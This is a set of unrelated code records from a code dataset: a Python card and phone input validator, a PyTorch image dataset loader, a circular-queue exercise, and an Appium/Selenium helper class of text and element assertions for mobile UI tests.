0:\n return \"invalid\"\n else:\n return \"\"\n\n def isValidPhone(self, phone):\n if phone == \"q\":\n sys.exit()\n elif phone.isdecimal() == False:\n return \"numbers\"\n elif len(phone) < 7:\n return \"length\"\n else:\n return \"\"\n\n def isValidNameOnCard(self, nameOnCard):\n if nameOnCard == \"q\":\n sys.exit()\n elif len(nameOnCard) > 50 or len(nameOnCard) <= 0:\n return \"length\"\n else:\n return \"\"\n\n def isValidNumber(self, number):\n if number == \"q\":\n sys.exit()\n elif number.isdecimal() == False:\n return \"numbers\"\n elif len(number) != 16:\n return \"length\"\n else:\n return \"\"\n\n def isValidCvv(self, cvv):\n if cvv == \"q\":\n sys.exit()\n elif cvv.isdecimal() == False:\n return \"numbers\"\n elif len(cvv) != 3:\n return \"length\"\n else:\n return True\n\n def isValidPin(self, pin):\n if pin == \"q\":\n sys.exit()\n elif pin.isdecimal() == False:\n return \"numbers\"\n elif len(pin) != 5:\n return \"length\"\n else:\n return True\n\n def isValidExpMonth(self, expMonth):\n if expMonth == \"q\":\n sys.exit()\n elif not expMonth.isdecimal():\n return \"NaN\"\n elif len(expMonth) > 2:\n return \"length\"\n elif int(expMonth) <= 0 or int(expMonth) > 12:\n return \"month\"\n else:\n return True\n\n def isValidExpYear(self, expYear, expMonth):\n year = int(datetime.today().year) - 2000\n month = int(datetime.today().month)\n if expYear == \"q\":\n sys.exit()\n elif not expYear.isdecimal():\n return \"NaN\"\n elif len(expYear) > 2:\n return \"length\"\n elif int(expYear) < year:\n return \"year\"\n elif int(expYear) == year:\n if int(expMonth) <= month:\n return \"year\"\n else:\n return True\n\n def getUserList(self):\n return self.__users\n\n @property\n def users(self):\n return self.__users\n\n @users.setter\n def users(self, value):\n self.__users = value\n","sub_path":"services/userservice.py","file_name":"userservice.py","file_ext":"py","file_size_in_byte":5371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"464561750","text":"import os.path as osp\nfrom PIL import Image\nimport numpy as np\nfrom torch.utils.data import Dataset\n\nclass CustomDataset(Dataset):\n def __init__(self,\n ann_file,\n root,\n transform=None,\n train=True):\n # prefix of images path\n self.img_prefix = root\n\n # load annotations (and proposals)\n self.img_infos = self.load_annotations(ann_file)\n\n self.is_train = train\n self.transform = transform\n\n def __len__(self):\n return len(self.img_infos)\n\n def load_annotations(self, ann_file):\n with open(ann_file) as fp:\n img_infos = [line.rstrip('\\n') for line in fp]\n return [{'filename': line.split(' ')[0],\n 'label': line.split(' ')[1]} for line in img_infos]\n\n def get_ann_info(self, idx):\n return self.img_infos[idx]['label']\n\n def _rand_another(self):\n pool = range(len(self.img_infos))\n return np.random.choice(pool)\n\n def __getitem__(self, idx):\n if not self.is_train:\n return self.prepare_test_img(idx)\n while True:\n data = self.prepare_train_img(idx)\n if data is None:\n idx = self._rand_another()\n continue\n return data\n\n def prepare_train_img(self, idx):\n img_info = self.img_infos[idx]\n\n img = Image.open(osp.join(self.img_prefix, img_info['filename']))\n img = self.transform(img)\n label = self.get_ann_info(idx)\n return img, int(label)\n\n def prepare_test_img(self, idx):\n \"\"\"Prepare an image for testing (multi-scale and flipping)\"\"\"\n img_info = self.img_infos[idx]\n img = Image.open(osp.join(self.img_prefix, img_info['filename']))\n img = self.transform(img)\n label = self.get_ann_info(idx)\n return img, int(label)\n","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"487917590","text":"#coding=utf-8\n#!/usr/bin/env python3\n\nclass SQueue(object):\n\tdef __init__(self, init_len=8):\n\t\tself.__elem = [0] * init_len\n\t\tself.__len = init_len\n\t\tself.__head = 0\n\t\tself.__num = 0\n\n\n\tdef __extend(self):\n\t\told_len = self.__len\n\t\tself.__len *= 2\n\t\tnew_elems = [0] * self.__len\n\t\tfor i in range(old_len):\n\t\t\tnew_elems[i] = self.__elem[(self.__head + i) % old_len]\n\t\tself.__elem, self.__head = new_elems, 0\n\n\n\tdef is_empty(self):\n\t\treturn self.__num == 0\n\n\n\tdef peek(self):\n\t\tif self.__num == 0:\n\t\t\traise MemoryError\n\t\treturn self.__elem[self.__head]\n\t\t\n\n\tdef enqueue(self, e):\n\t\tif self.__num == self.__len:\n\t\t\tself.__extend()\n\t\tself.__elem[(self.__head + self.__num) % self.__len] = e\n\t\tself.__num += 1\n\t\t\n\t\t\n\tdef dequeue(self):\n\t\tif self.__num == 0:\n\t\t\traise MemoryError\n\t\te = self.__elem[self.__head]\n\t\tself.__head = (self.__head + 1) % self.__len\n\t\tself.__num -= 1\n\t\treturn e\n\ndef main():\n road = SQueue()\n N = int(input())\n for i in range(N):\n ch = input()\n road.enqueue(ch)\n line = SQueue()\n M = int(input())\n for i in range(M):\n ch = input()\n line.enqueue(ch)\n\n oprs = input()\n try:\n for opr in oprs:\n if(opr=='A'):\n road.dequeue()\n else:\n now = line.dequeue()\n road.enqueue(now)\n except:\n print('No')\n return\n \n while(not road.is_empty()):\n print(road.dequeue())\n\n\nif __name__=='__main__':\n main()\n","sub_path":"oj/4C.py","file_name":"4C.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"27552004","text":"from selenium.common.exceptions import NoSuchElementException\n#from selenium.webdriver.support.ui import WebDriverWait\n#from selenium.webdriver.remote.webelement import WebElement\nfrom lib.core.mobile.base import AppiumBaseClass\nimport re\n#from selenium.webdriver.common.by import By\nfrom test_settings import Settings\n\n#from pip._vendor.requests.packages.urllib3.connectionpool import xrange\n\nclass AppiumAssertions(AppiumBaseClass):\n repeat_times = 15\n wait_time = 500 #500/100=5 sec\n global STEPCOUNT\n settings = Settings()\n \n def isTextPresentByLocator(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"isTextPresentByLocator\")\n try:\n self.setTestProcedure(\"debug\",\"Getting element by location=%s\"%locator)\n elements = self.driver.find_elements_by_id(locator)\n self.setTestProcedure(\"debug\",\"Element=%s\"%elements)\n for element in elements:\n text_actual = element.text\n if(text_expected in text_actual):\n self.setTestProcedure(\"debug\",\"%s found.\"%text_expected)\n return True\n except:\n self.setTestProcedure(\"error\",\"%s not found.\"%text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n\n return False \n \n def isTextsPresentByLocator(self, text_expected, locator): \n self.setTestProcedure('function',\"isTextsPresentByLocator\")\n print(\"to be implemented\")\n '''\n try:\n elements = self.driver.find_elements_by_id(locator)\n for element in elements:\n text_actual = element.text\n if(text_actual == text_expected):\n print(\"111\")\n return True\n \n \n except:\n print (\"Text \" + str(text_expected) + \" not present\")\n return False \n '''\n \n def isTextPresentByLocatorCSS(self, tester, text_expected, locator): \n self.setTestProcedure('function',\"isTextPresentByLocatorCSS\")\n elements = self.driver.find_elements_by_css_selector(locator)\n #print str(elements)\n #print len(elements)\n for element in elements:\n text_actual = element.text\n if(text_actual == text_expected):\n self.setTestProcedure(\"debug\", \"text=%s found.\"%text_expected)\n return True\n try:\n return (text_expected in self.driver.find_elements_by_css_selector(locator).text)\n except:\n self.setTestProcedure(\"debug\", \"text=%s is not present.\"%text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False \n \n def isTextPresentById(self, tester,text_expected, element_id): \n self.setTestProcedure('function',\"isTextPresentById\")\n elements = self.driver.find_elements_by_id(element_id)\n for element in elements:\n text_actual = element.text\n if(text_actual == text_expected):\n self.setTestProcedure(\"debug\", \"text=%s found.\"%text_expected)\n return True\n try:\n return (text_expected in self.driver.find_elements_by_id(element_id).text)\n except:\n self.setTestProcedure(\"debug\", \"text=%s is not present.\"%text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isSubstringPresentById(self,tester, text_expected, element_id): \n self.setTestProcedure('function',\"isSubstringPresentById\")\n elements = self.driver.find_elements_by_id(element_id)\n for element in elements:\n text_expected = text_expected.strip(' \\n')\n text_actual = str(element.text.encode('utf-8').strip(' \\n'))\n if(text_expected in text_actual):\n self.setTestProcedure(\"debug\", \"text=%s found.\"%text_expected)\n return True\n try:\n return (text_expected in self.driver.find_elements_by_id(element_id).text)\n except:\n self.setTestProcedure(\"error\", \"text=%s is not present.\"%text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isTextPresentByXPATH(self,tester, text_expected, xpath, check_exactly = True): \n self.setTestProcedure(\"function\", \"isTextPresentByXPATH\")\n elements = self.driver.find_elements_by_xpath(xpath)\n for element in elements:\n text_actual = element.text\n if check_exactly is True:\n if(text_actual == text_expected):\n self.setTestProcedure(\"debug\", \"text_actual=%s found.\"%text_expected)\n return True\n else:\n if(text_expected in text_actual):\n self.setTestProcedure(\"debug\", \"text_actual=%s is appeared.\"%text_expected)\n return True\n try:\n return (text_expected in self.driver.find_elements_by_id(xpath).text)\n except:\n self.setTestProcedure(\"error\", \"Text=%s not found.\"% text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isSubstringPresentByXPATH(self, tester, text_expected, xpath): \n self.setTestProcedure('function',\"isSubstringPresentByXPATH\")\n elements = self.driver.find_elements_by_xpath(xpath)\n for element in elements:\n text_actual = element.text\n if(text_expected in text_actual):\n self.setTestProcedure(\"debug\",\"text_actual=%s found.\"%text_actual)\n return True\n try:\n return (text_expected in self.driver.find_elements_by_id(xpath).text)\n except:\n self.setTestProcedure(\"error\", \"Text=%s not found.\"% text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isTextPresentByLocator_backup(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"isTextPresentByLocator_backup\") \n elements = self.driver.find_elements_by_css_selector(locator)\n print (len(elements))\n for element in elements:\n text_actual = element.text\n self.setTestProcedure(\"debug\",\"element=%s\"%text_actual)\n if(text_actual == text_expected):\n self.setTestProcedure(\"debug\",\"text_actual=%s found.\"%text_actual)\n return True\n else:\n self.setTestProcedure(\"error\", \"Text=%s not found.\"% text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n\n def isTextPresent(self, text_expected):\n '''work for windowspc'''\n self.setTestProcedure('function',\"isTextPresent:text_expected=%s\"%text_expected)\n try:\n element = self.driver.find_element_by_name(text_expected)\n text_element = element.text\n print(\"text_element=%s\"%text_element)\n if text_element == text_expected:\n return True\n except:\n print (\"Text:\" + str(text_expected) + \" not present\")\n return False\n\n def waitForTextPresentByLocatorWithMessage(self, tester, text_expected, locator, message):\n self.setTestProcedure('function',\"waitForTextPresentByLocatorWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isTextPresentByLocator(text_expected, locator)):\n return\n try:\n self.setTestProcedure(\"debug\",\"waiting.....\")\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\", \"Text=%s not found.\"% text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForTextPresentByLocator(self, tester, text_expected, locator):\n self.setTestProcedure('function',\"waitForTextPresentByLocator\")\n self.waitForTextPresentByLocatorWithMessage(tester, text_expected, locator, \"There is no '\" + text_expected + \"' text within locator\")\n\n def waitForTextPresent(self, tester, text_expected):\n self.setTestProcedure('function',\"waitForTextPresent\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isTextPresent(text_expected)):\n self.setTestProcedure(\"debug\",\"text_expected=%s found.\"%text_expected)\n return True\n try:\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\", \"Text=%s not found.\"% text_expected)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n #tester.assertTrue((self.isTextPresent(text_expected)), \"There is no '\" + text_expected + \"' text on the page\")\n\n '''\n Using Implicit wait\n '''\n def isElementPresentByLocator(self, tester,locator):\n self.setTestProcedure('function',\"isElementPresentByLocator\")\n try:\n \n self.driver.implicitly_wait(2)\n self.driver.find_element_by_css_selector(locator)\n self.setTestProcedure(\"debug\",\"check if Element by css_selector is present:5s \"% locator )\n return True\n except:\n self.setTestProcedure(\"error\",\"check if Element by css_selector is not present:5s \"% locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementPresentByLinkText(self, tester, link_text):\n self.setTestProcedure('function',\"isElementPresentByLinkText\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_link_text(link_text)\n self.setTestProcedure(\"debug\",\"check if Element by link_text is present: %s\" %link_text)\n return True\n except:\n self.setTestProcedure(\"error\",\"check if Element by link_text is present: %s\" %link_text)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementPresentByXPATH(self, tester, xpath):\n self.setTestProcedure('function',\"isElementPresentByXPATH\")\n try:\n #self.tap_position(25, 50)\n #self.driver.implicitly_wait(2)\n self.driver.find_element_by_xpath(xpath)\n self.setTestProcedure(\"debug\",\"check if Element by xpath is present: %s\" % xpath )\n return True\n except:\n self.setTestProcedure(\"error\",\"check if Element by xpath is present: %s\" % xpath )\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementPresentByXPATH2(self, tester, xpath): #no tap coordinate\n self.setTestProcedure('function',\"isElementPresentByXPATH2\")\n try:\n self.tap_position(50, 50)\n self.driver.find_element_by_xpath(xpath)\n self.setTestProcedure(\"debug\",\"check if Element by xpath is present: %s\" % xpath )\n return True\n except:\n self.setTestProcedure(\"error\",\"check if Element by xpath is present: %s\" % xpath )\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n \n def isElementPresentById(self,tester, element_id):\n self.setTestProcedure('function',\"isElementPresentById\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_id(element_id).is_displayed()\n self.setTestProcedure(\"debug\",\"check if Element by id is present:%s \" % element_id )\n return True\n except:\n self.setTestProcedure(\"error\",\"Element by id: %s is not present...\"%element_id)\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False \n \n def removeSpecialChars(self,tester):\n #self.setTestProcedure('function',\"removeSpecialChars\")\n 'use this function to remove special chars for screenshot. If have time, pls fix this regex better'\n result = re.sub('[^a-zA-Z0-9 \\n\\.]', '_', tester)\n result = result.replace(\" \",\"\")\n result = result[:-1] # remove _ at the end. \n #self.setTestProcedure(\"debug\", \"remove special char from tester string.\")\n return result\n \n def isElementNotPresentByLocator(self, tester, locator):\n self.setTestProcedure('function',\"isElementNotPresentByLocator\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_css_selector(locator)\n self.setTestProcedure(\"debug\",\"Element by css_selector: %s is present.\" %locator)\n return False\n except:\n self.setTestProcedure(\"error\",\"Element by css_selector: %s is present.\" %locator)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return True \n \n def isElementNotPresentByXpath(self, tester, xpath):\n self.setTestProcedure('function',\"isElementNotPresentByXpath\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_xpath(xpath)\n self.setTestProcedure(\"debug\",\"Element by xpath:%s is present\"%xpath)\n return False\n except:\n self.setTestProcedure(\"error\",\"Element by xpath: %s is present.\" %xpath)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return True \n \n def isElementNotPresentById(self, tester, element_id):\n self.setTestProcedure('function',\"isElementNotPresentById\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_id(element_id)\n self.setTestProcedure(\"debug\",\"Element by ID:%s is present\"%element_id)\n return False\n except:\n self.setTestProcedure(\"debug\",\"Element by ID: %s is not present.\" %element_id)\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return True \n \n def isElementNotPresentByName(self, tester, name):\n self.setTestProcedure('function',\"here\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_name(name)\n self.setTestProcedure(\"debug\",\"Element by name:%s is present.\"%name)\n return False\n except:\n self.setTestProcedure(\"error\",\"Element by name:%s is present.\" %name)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return True \n\n def isElementPresent(self,tester, by_criteria, value):\n self.setTestProcedure('function',\"isElementPresent\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by value %s is present.\"%value)\n self.driver.find_element(by=by_criteria,value=value)\n return True\n\n except:\n self.setTestProcedure(\"error\",\"Element by value %s is present.\"%value)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n\n def isElementPresentByName(self, tester, name):\n self.setTestProcedure('function',\"isElementPresentByName\")\n try:\n self.driver.implicitly_wait(2)\n self.driver.find_element_by_name(name)\n self.setTestProcedure(\"debug\",\"Element by name is present: %s\" %name )\n return True\n except:\n self.setTestProcedure(\"error\",\"Element by name is not present: %s\" %name )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n\n def isElementDisplayed(self, tester, locator):\n self.setTestProcedure('function',\"isElementDisplayed\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by locator is present: %s\" % locator)\n return self.driver.find_element_by_css_selector(locator).is_displayed()\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION+\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementDisplayedById(self,tester, element_id):\n self.setTestProcedure('function',\"isElementDisplayedById\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Check if Element by element_id is present: %s\" % element_id)\n return self.driver.find_element_by_id(element_id).is_displayed()\n except:\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %element_id )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementDisplayedByName(self, tester, name):\n self.setTestProcedure('function',\"isElementDisplayedByName\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by name is present: %s\" % name)\n return self.driver.find_element_by_name(name).is_displayed()\n except:\n self.setTestProcedure(\"error\",\"Element by name is not present: %s\" %name )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementDisplayedByXpath(self, tester, xpath):\n self.setTestProcedure('function',\"isElementDisplayedByXpath\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by xpath is present: %s\" % xpath)\n return self.driver.find_element_by_xpath(xpath).is_displayed()\n except:\n self.setTestProcedure(\"error\",\"Element by xpath is not present: %s\" %xpath )\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementDisplayedByIdText(self, tester, text, element_id):\n self.setTestProcedure('function',\"isElementDisplayedByIdText\")\n elements = self.driver.find_elements_by_id(element_id)\n for element in elements:\n textActual = element.text \n if(textActual == text):\n self.setTestProcedure(\"debug\",\"Element by id is present: %s\" % element_id)\n return element.is_displayed()\n self.setTestProcedure(\"error\",\"Element by id:%s and text:%s not present.\" %(element_id, text))\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester))) \n return False\n\n def isElementDisplayedByIdSubstring(self, tester, text, element_id):\n self.setTestProcedure('function',\"isElementDisplayedByIdSubstring\")\n #checks if the given text is a substring of the element's text\n elements = self.driver.find_elements_by_id(element_id)\n for element in elements:\n textActual = element.text\n if(text in textActual):\n self.setTestProcedure(\"debug\",\"Element by id is present: %s\" % element_id)\n return element.is_displayed()\n self.setTestProcedure(\"error\",\"Element by id:%s and text:%s not present.\" %(element_id, text))\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n\n def isElementEnabled(self, tester, locator):\n self.setTestProcedure(\"function\",\"isElementEnabled\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by locator is present: %s\" % locator)\n return self.driver.find_element_by_css_selector(locator).is_enabled()\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementEnabledbyName(self, tester, name):\n self.setTestProcedure('function',\"isElementEnabledbyName\")\n try:\n self.driver.implicitly_wait(2)\n return self.driver.find_element_by_name(name).is_enabled()\n except:\n self.setTestProcedure(\"error\",\"Element by nanme is not present: %s\" %name )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementEnabledById(self, tester, locator):\n self.setTestProcedure('function',\"isElementEnabledbyId\")\n try:\n self.driver.implicitly_wait(2)\n return self.driver.find_element_by_id(locator).is_enabled()\n except:\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def isElementEnabledByXPATH(self, tester, locator):\n self.setTestProcedure('function',\"isElementEnabledByXPATH\")\n try:\n self.driver.implicitly_wait(2)\n return self.driver.find_element_by_xpath(locator).is_enabled()\n except:\n self.setTestProcedure(\"error\",\"Element by XPATH is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False \n \n def isElementEnabledWithText(self, tester, text, locator):\n self.setTestProcedure('function',\"isElementEnabledWithText\")\n try:\n self.driver.implicitly_wait(2)\n self.setTestProcedure(\"debug\",\"Element by locator is present: %s\" % locator)\n return self.findElementWithText(text, locator) .is_enabled()\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForElementEnabledWithText(self, tester, text, locator):\n self.setTestProcedure('function',\"waitForElementEnabledWithText\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementEnabledWithText(text, locator)):\n self.setTestProcedure(\"debug\",\"Element by locator is present: %s\" % locator)\n return True\n try:\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n break\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n #tester.assertTrue((self.isElementEnabled(locator)), \"Element with text\" + text + \"is not enabled\")\n\n def waitForElementPresentByLocatorWithMessage(self, tester, locator, message):\n self.setTestProcedure('function',\"waitForElementPresentByLocatorWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementPresentByLocator(locator)):\n self.setTestProcedure(\"debug\",\"Element by locator is present: %s\" % locator)\n return True\n try:\n 'waiting...'\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n #tester.assertTrue((self.isElementPresentByLocator(locator)), message)\n\n def waitForElementPresentByIdWithMessage(self, tester, element_id, message):\n self.setTestProcedure('function',\"waitForElementPresentByIdWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementPresentById(tester,element_id)):\n self.setTestProcedure(\"debug\",\"Element by id is present: %s\" % element_id)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %element_id )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n break\n return False\n \n def waitForElementNotPresentByIdWithMessage(self, tester, element_id, message):\n self.setTestProcedure('function',\"waitForElementNotPresentByIdWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementNotPresentById(tester,element_id)):\n self.setTestProcedure(\"debug\",\"Element by id is not present: %s\" % element_id)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for ID. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by id is not present: %s\" %element_id )\n break\n #self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForElementPresentByLocator(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementPresentByLocator\")\n return self.waitForElementPresentByLocatorWithMessage(tester, locator, \"Element by %s is not present on page!\"% locator)\n \n def waitForElementPresentById(self, tester, element_id):\n self.setTestProcedure('function',\"waitForElementPresentById\")\n return self.waitForElementPresentByIdWithMessage(tester, element_id, \"Element by %s is not present on page!\"%element_id)\n \n def waitForElementNotPresentById(self, tester, element_id):\n self.setTestProcedure('function',\"waitForElementNotPresentById\")\n return self.waitForElementNotPresentByIdWithMessage(tester, element_id, \"Element by %s is not present on page!\"%element_id)\n\n def waitForElementPresentByXpath(self, tester, xpath):\n self.setTestProcedure('function',\"waitForElementPresentByXpath\")\n return self.waitForElementPresentByXpathWithMessage(tester, xpath, \"Element by '%s' is not present on page!\"%xpath)\n \n def waitForElementPresentByXpathWithMessage(self, tester, xpath, message):\n self.setTestProcedure('function',\"waitForElementPresentByXpathWithMessage\")\n wait_interval = self.wait_time / 100\n i=0\n for i in range(self.repeat_times):\n i = i + 1\n #if(self.isElementDisplayedByXpath(tester,xpath)):\n if(self.isElementPresentByXPATH(tester,xpath)):\n self.setTestProcedure(\"debug\",\"Element by xpath %s is present.\"%xpath)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by xpath %s is not present.\" %xpath )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n #tester.assertTrue((self.isElementPresentByLocator(locator)), message) \n \n def waitForElementDisplayedByLocatorWithMessage(self, tester, locator, message):\n self.setTestProcedure('function',\"waitForElementDisplayedByLocatorWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n i = i + 1\n if(self.isElementDisplayed(locator)):\n self.setTestProcedure(\"debug\",\"Element by locator %s is present.\"%locator)\n return True\n try:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n except:\n self.setTestProcedure(\"error\",\"Element by locator is not present: %s\" %locator )\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return True\n \n def waitForElementDisplayedByIdWithMessage(self, tester, element_id, message=None):\n self.setTestProcedure('function',\"waitForElementDisplayedByIdWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n if(self.isElementDisplayedById(element_id)):\n self.setTestProcedure(\"debug\",\"Element by id:%s found.\" %element_id)\n return True\n else:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n self.setTestProcedure(\"error\",\"Element by id:%s and %s not displayed\")\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n\n def waitForElementDisplayedByXpathWithMessage(self, tester, xpath, message=None):\n self.setTestProcedure('function',\"waitForElementDisplayedByXpathWithMessage\")\n wait_interval = self.wait_time / 100\n i = 0\n for i in range(self.repeat_times):\n if(self.isElementDisplayedByXpath(xpath)):\n self.setTestProcedure(\"debug\",\"Element by xpath:%s found.\" % xpath)\n return True\n else:\n self.setTestProcedure(\"debug\",\"Searching for Id. retries=%s/%s\"%(i,self.repeat_times))\n self.pause(wait_interval)\n self.setTestProcedure(\"debug\",\"Element by message:%s not displayed.\"%message)\n self.takeScreenshot(\"test\", self.settings.REPORT_LOCATION +\"/\"+self.removeSpecialChars(str(tester)))\n return False\n \n def waitForElementDisplayedByLocator(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementDisplayedByLocator\")\n self.waitForElementDisplayedByLocatorWithMessage(tester, locator, \"Element by %s is not found.\"%locator)\n\n\n def waitForElementPresentAndVisible(self, tester, locator):\n self.setTestProcedure('function',\"waitForElementPresentAndVisible\")\n self.waitForElementPresentByLocator(tester, locator)\n 